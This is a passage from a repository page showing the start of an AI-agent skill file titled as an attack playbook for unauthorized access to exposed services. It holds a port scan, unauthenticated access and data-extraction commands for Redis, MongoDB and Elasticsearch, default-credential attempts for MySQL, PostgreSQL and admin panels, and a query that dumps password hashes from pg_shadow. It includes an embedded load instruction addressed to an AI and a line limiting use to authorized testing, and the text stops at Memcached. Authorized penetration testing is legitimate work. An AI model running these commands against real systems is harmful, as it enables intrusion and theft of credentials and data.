unauthorized-access-common-services

Files (1)

• SKILL.md

SKILL.md (first lines)

# SKILL: Unauthorized Access — Common Services — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: Exposed service triage covers databases (Redis, MongoDB, MySQL, PostgreSQL, Elasticsearch), caches (Memcached), message queues (RabbitMQ, Kafka), admin panels (Jenkins, Grafana, Kibana, phpMyAdmin, Tomcat Manager), Java middleware (WebLogic, JBoss), reverse proxy mistakes (Nginx off-by-slash, X-Forwarded-For), and cloud storage (S3, GCS, Azure Blob). All testing must be authorized and prefer read-only proof of access.

## QUICK START

### Core Rule

Use only in authorized testing. Prefer read-only proof of access (read config, enumerate users). Do not modify data, delete records, or execute destructive commands.

### First-pass service discovery

```bash
# Quick port scan for common services:
nmap -sV -p 22,80,443,1433,1521,2181,2375,3000,3306,4443,5000,5432,5601,6379,6443,8080,8443,8888,9000,9090,9200,9300,11211,15672,27017,50070 TARGET
```

### High-value service checklist

| Service | Port(s) | What to Check |
|---------|---------|---------------|
| Redis | 6379 | Unauth access, CONFIG GET, INFO |
| MongoDB | 27017 | Unauth access, show dbs |
| Elasticsearch | 9200 | `/_cat/indices`, `/_search` |
| MySQL | 3306 | Default/root creds, empty password |
| PostgreSQL | 5432 | Default/postgres creds |
| Jenkins | 8080, 8443 | Unauth /script, /configure |
| Grafana | 3000 | Default admin:admin |
| Kibana | 5601 | Unauth dashboard access |
| phpMyAdmin | 80, 443 | Default root, no password |
| Tomcat Manager | 8080 | Default tomcat:tomcat |
| WebLogic | 7001 | Default weblogic:weblogic |
| RabbitMQ | 15672 | Default guest:guest |
| Memcached | 11211 | `stats`, `get` commands |

---

## 1. DATABASE SERVICES

### Redis (6379)

```bash
# Connect:
redis-cli -h TARGET

# Unauth check:
INFO
CONFIG GET *
SELECT 1
KEYS *

# Data extraction:
GET secret_key
LRANGE session_list 0 -1
HGETALL users
```

### MongoDB (27017)

```bash
# Connect:
mongo --host TARGET

# Unauth check:
show dbs
use admin
db.users.find()
db.system.users.find()
```

### Elasticsearch (9200)

```bash
# Unauth check:
curl http://TARGET:9200/_cat/indices
curl http://TARGET:9200/_search?pretty
curl http://TARGET:9200/_cluster/health

# Data extraction:
curl http://TARGET:9200/INDEX_NAME/_search?size=100
curl http://TARGET:9200/_all/_search?q=password
```

### MySQL (3306)

```bash
# Default credential check:
mysql -h TARGET -u root -p ''
mysql -h TARGET -u root -p 'root'
mysql -h TARGET -u root -p 'mysql'

# If connected:
SHOW DATABASES;
SELECT user, host FROM mysql.user;
```

### PostgreSQL (5432)

```bash
# Default credential check:
psql -h TARGET -U postgres -W
# Try: postgres, password, empty

# If connected:
\l
SELECT usename, passwd FROM pg_shadow;
```

---

## 2. CACHE AND MESSAGE QUEUE SERVICES

### Memcached (11211)

```bash
# Connect:
nc TARGET 11211

# Commands:

From langbyyi/CyberStrikeAI-SRC, Apache-2.0.

More from langbyyi/CyberStrikeAI-SRC